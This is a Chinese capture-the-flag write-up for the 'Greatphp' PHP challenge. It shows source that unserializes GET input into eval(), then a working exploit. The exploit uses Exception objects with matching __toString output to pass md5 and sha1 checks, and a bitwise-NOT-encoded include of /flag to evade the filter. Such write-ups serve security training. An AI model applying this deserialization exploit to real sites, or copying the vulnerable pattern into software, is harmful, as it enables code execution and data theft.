[极客大挑战 2020]Greatphp
源码
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
解题步骤
经典绕过md5和sha1。但是不能用数组绕过,因为数组不能进行eval执行。
这就需要找某个原生类的__toString方法才行。
有俩个,Exception和Error类。
两个都能出flag。
exp:
<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Exception($str,1);$b=new Exception($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>
虽然Exception($str,1)和Exception($str,2)不等,但是__toString结果相同,所以可以绕过md5和sha1。
不懂为啥不能进行反引号命令执行,但是可以include包含flag。由于过滤引号,所以需要反url编码。